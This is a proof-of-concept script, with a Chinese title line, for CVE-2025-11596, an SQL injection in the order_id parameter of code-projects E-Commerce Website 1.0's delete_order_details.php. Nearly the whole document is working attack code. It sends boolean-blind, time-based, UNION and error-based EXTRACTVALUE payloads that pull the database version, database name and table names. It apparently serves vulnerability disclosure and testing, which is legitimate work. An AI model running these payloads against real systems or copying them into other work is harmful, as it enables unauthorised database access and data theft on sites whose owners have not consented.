CVE-2025-11596：code-projects E-Commerce Website 1.0 SQL注入漏洞

# CVE-2025-11596 PoC - SQL Injection in delete_order_details.php # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/delete_order_details.php # Vulnerable parameter: order_id import requests TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/pages/delete_order_details.php" def exploit_sql_injection(target_url, order_id_payload): """ Exploit SQL injection via order_id parameter in delete_order_details.php """ url = target_url + VULNERABLE_ENDPOINT params = { "order_id": order_id_payload } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Target URL: {response.url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Test 1: Normal request print("=" * 60) print("Test 1: Normal request (baseline)") print("=" * 60) normal_response = exploit_sql_injection(TARGET_URL, "1") # Test 2: Boolean-based blind SQL injection print("\n" + "=" * 60) print("Test 2: Boolean-based blind SQL injection") print("=" * 60) boolean_payload = "1' AND '1'='1" boolean_response_true = exploit_sql_injection(TARGET_URL, boolean_payload) boolean_payload_false = "1' AND '1'='2" boolean_response_false = exploit_sql_injection(TARGET_URL, boolean_payload_false) if normal_response and boolean_response_true and boolean_response_false: if len(boolean_response_true) != len(boolean_response_false): print("[+] Boolean-based blind SQL injection confirmed!") # Test 3: Time-based blind SQL injection print("\n" + "=" * 60) print("Test 3: Time-based blind SQL injection") print("=" * 60) import time time_payload = "1' AND SLEEP(5)-- -" start_time = time.time() time_response = exploit_sql_injection(TARGET_URL, time_payload) elapsed_time = time.time() - start_time if elapsed_time >= 5: print(f"[+] Time-based blind SQL injection confirmed! (Delay: {elapsed_time:.2f}s)") # Test 4: UNION-based SQL injection print("\n" + "=" * 60) print("Test 4: UNION-based SQL injection") print("=" * 60) union_payload = "1' UNION SELECT 1,2,3,4,5-- -" union_response = exploit_sql_injection(TARGET_URL, union_payload) # Test 5: Extract database version print("\n" + "=" * 60) print("Test 5: Extract MySQL version") print("=" * 60) version_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -" version_response = exploit_sql_injection(TARGET_URL, version_payload) # Test 6: Extract current database name print("\n" + "=" * 60) print("Test 6: Extract current database name") print("=" * 60) db_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- -" db_response = exploit_sql_injection(TARGET_URL, db_payload) # Test 7: Extract table names print("\n" + "=" * 60) print("Test 7: Extract table names") print("=" * 60) tables_payload = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))-- -" tables_response = exploit_sql_injection(TARGET_URL, tables_payload) print("\n[*] PoC execution completed.") print("[*] Refer to CVE-2025-11596 for vulnerability details.")